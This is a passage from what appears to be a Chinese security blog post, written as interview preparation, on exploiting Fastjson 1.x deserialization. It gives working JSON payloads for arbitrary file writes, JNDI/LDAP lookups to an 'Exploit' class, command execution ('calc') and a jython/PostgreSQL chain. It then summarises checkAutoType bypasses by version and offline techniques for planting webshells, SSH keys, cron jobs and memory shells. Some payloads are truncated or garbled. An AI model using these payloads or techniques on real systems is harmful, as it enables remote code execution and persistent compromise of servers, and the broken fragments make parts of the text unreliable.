'@type':'java.io.FileOutputStream'
'file':'dst'
,
,
'append':false
},
'infl':
{
'input':
{
'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==
'limit':22
'
}
},
'bufLen':1048576
},
'protocolVersion':1
,
}

AutoCloseable_writefile_rmb122_8.json(适用于JDK 8/10)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
'@type':"java.lang.AutoCloseable"
,
'@type':'sun.rmi.server.MarshalOutputStream'
'out':
,
{
'@type':'java.util.zip.InflaterOutputStream'
,
'out':
{
'@type':'java.io.FileOutputStream'
'file':'dst'
,
,
'append':false
},
'infl':
{
'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==
'
},
'bufLen':1048576
},
'protocolVersion':1
}

rce

(利用类必须是expectClass类的子类或实现类,并且不在黑名单中)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig"
y":"ldap://localhost:1389/Exploit"}
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig"
gistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.caucho.config.types.ResourceRef"
,
"lookupName":
"ldap://localhost:1389/Exploit"
,
"value": {"$ref":"$.value"}}
,
"metricRegistr
,
"healthCheckRe

无需开启AutoType,直接成功绕过CheckAutoType()的检测从而触发执行

1
2
3
4
5
{"@type":"java.lang.AutoCloseable"
,
"@type":"vul.VulAutoCloseable"
,
"cmd":"calc"}

1.2.72<fastjson<=1.2.80

jython+pgsql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
{"a":
{"@type":"java.lang.Exception"
,
"@type":"org.python.antlr.ParseException"
,},
"b":
{"@type":"java.lang.Class"
,
"val":{"@type":"java.lang.String"
{"@type":"java.util.Locale"
,
"val":{"@type":"com.alibaba.fastjson.JSONObject"
,
{"@type":"java.lang.String""@type":"org.python.antlr.ParseException"
,
"type":
{}}}},
"c":
{"@type":"org.python.core.PyObject"
,
"@type":"com.ziclix.python.sql.PyConnection"
,
"connection":{"@type":"org.postgresql.jdbc.PgConnection"
,
"hostSpecs":
[{"host":"127.0.0.1"
,
"port":2333}],
"user":"user"
,
"database":"test"
,
"info":
{"socketFactory":"org.springframework.context.support.ClassPathXmlApplicationCont
ext"
,
"socketFactoryArg":"http://127.0.0.1"},
"url":""}}}

简单小结(且部分回答了这个前面的面试题)

利用包头的via执行

漏洞实在是太多了,看不过来了

1.2.24之下无限制,随便玩

1.2.25到1.2.41新增黑白名单,使用 L开头 ;结尾进行绕过

1.2.42双写 L开头 ;结尾进行绕过

1.2.43使用 [进行绕过

1.2.47及以下使用MiscCodec类刷新缓存绕过

1.2.48cache为false,不给存入缓存

1.2.48到1.2.80利用expectClass绕过

-1.2.48到1.2.68使用AutoCloseable进行绕过

-1.2.69到1.2.80使用ThrowableDeserializer进行绕过

回答面试

不同版本打法

1
2
3
4
5
6
7
8
9
10
Fastjson 反序列化核心都是`@type`自动类型加载,核心防护点是`checkAutoType`黑名单 / 白名单、autoType 开关、safeMode,分 4 个阶段:

1. **1.2.22 及更早**:无 autoType 黑名单,直接写`@type`加载任意类,代表链:`TemplatesImpl`,无任何绕过。
2. **1.2.23 ~ 1.2.41**:前缀字符串黑名单(`startsWith`匹配),单层`Lxxx;`绕过。原理:校验时不会去掉`L;`,带 L 的字符串匹配不到黑名单前缀;加载类的时候自动剥离`L;`。
3. **1.2.42 ~ 1.2.47**:改成 Hash 黑名单,单层 L; 失效,出现`LLxxx;;`双层绕过。原理:黑名单校验只剥一层`L;`,hash 不命中;`TypeUtils.loadClass`循环剥离全部`L;`拿到原始类。代表链:`JdbcRowSetImpl` JNDI 链(rmi)。
4. **1.2.48 ~ 1.2.68**:修复 LL;;,新增`expectClass`绕过(1.2.68 AutoCloseable/Throwable 绕过)。原理:当上层传入`expectClass`,只要目标类是它的子类 / 实现类,直接跳过黑名单校验,不需要开 autoTypeSupport。
5. **1.2.69+**:修复 expectClass 绕过,新增 SafeMode,开启 SafeMode 后直接禁用 autoType,几乎没有可用原生绕过。

>
> 一句话收尾:所有绕过本质,都是利用 **checkAutoType 校验逻辑 和 类加载逻辑不一致**

不出网思路

1
2
3
4
5
6
7
8
JNDI/RMI 都是出网请求,不出网就不能依赖远程 Reference 加载,思路分这几个:

1. **本地 Gadget 链,本地写文件**:依赖`commons-io`,`FileOutputStream/FileWriter`,直接写入 webshell、ssh 密钥、计划任务文件。
2. **本地 Bean 工厂 / EL 表达式、本地 JNDI**:比如 Tomcat 的 BeanFactory、本地 LDAP 上下文,在 JVM 内部找可以执行表达式、调用方法的类,不需要向外发请求。
3. **本地命令执行 Gadget**:依赖`groovy`、`bsh`等脚本引擎 gadget,直接传入命令字符串在本地解析执行,不对外发起网络请求。
4. **内存马注入**:拿到能调用反射的 gadget,直接反射获取 ServletContext,注入 filter/listener 内存马,不落地文件、不向外请求。

补充加分:不出网优先找**不需要远程 lookup、仅在当前 JVM 内部完成调用**的 gadget,不再走 JdbcRowSetImpl 这种 JNDI 链

TemplatesImpl链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1. **适用版本**:1.2.22 直接打;1.2.23 之后默认黑名单拦截,需要手动开启`autoTypeSupport=true`才能用。
2. **原理**
`TemplatesImpl`是 Xalan 里的类,属性`_bytecodes`接收字节数组。
Fastjson 反序列化赋值`_bytecodes`、`_tfactory`等属性;当调用`newTransformer()`的时候,会把`_bytecodes`里面的字节码 define 到 JVM,创建类实例,触发静态代码块执行 RCE。

>
> 重点:**不是 lookup,是 defineClass 加载自定义字节码**,这条链本身就是不出网链!

JSON.parseObject → checkAutoType(放行)→ new TemplatesImpl
→ set _bytecodes / _tfactory
→ 反序列化结束后自动调用getOutputProperties()
→ getOutputProperties() -> newTransformer()
→ TransformerFactoryImpl.getTemplates -> defineClass 加载字节码 → 静态代码块执行

然后其实,应该是

1.2.69 ~ 1.2.80还有一个打法

1
2
3
版本	调用 checkAutoType	expectClass 参数	条件
1.2.68 checkAutoType(className, Throwable.class) 不为 null;利用 expectClass 分支跳过黑名单 JDK 原生类就可以打,不需要第三方 jar
1.2.69‑1.2.80 CVE‑2022‑25845 checkAutoType(className, null) expectClass=null;不走 expectClass 放行分支,走普通黑名单判断 不能用 JDK 原生类;必须 classpath 存在第三方继承 Throwable 的类,且不在黑名单

CVE‑2026‑16723

1
2
3
4
5
6
> 只影响 fastjson1.x(1.2.68‑1.2.83),需要 Spring‑Boot 可执行 fat‑jar 环境,未开启 SafeMode。

1. 属于**gadget‑free 无第三方依赖利用**,不需要依赖 shiro、tomcat 等第三方 gadget 类。
2. 利用`@JSONType`注解解析逻辑,结合 Spring‑Boot `LaunchedURLClassLoader`嵌套 jar 加载机制。
3. 攻击者构造恶意 JSON,让 fastjson 读取 jar 包内的恶意 class 资源,完成类加载执行 RCE。
4. 防护:开启 SafeMode;迁移 fastjson2;使用 noneautotype 版本

fastjson2 不受这个漏洞影响,因为架构层面去掉了这套逻辑


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录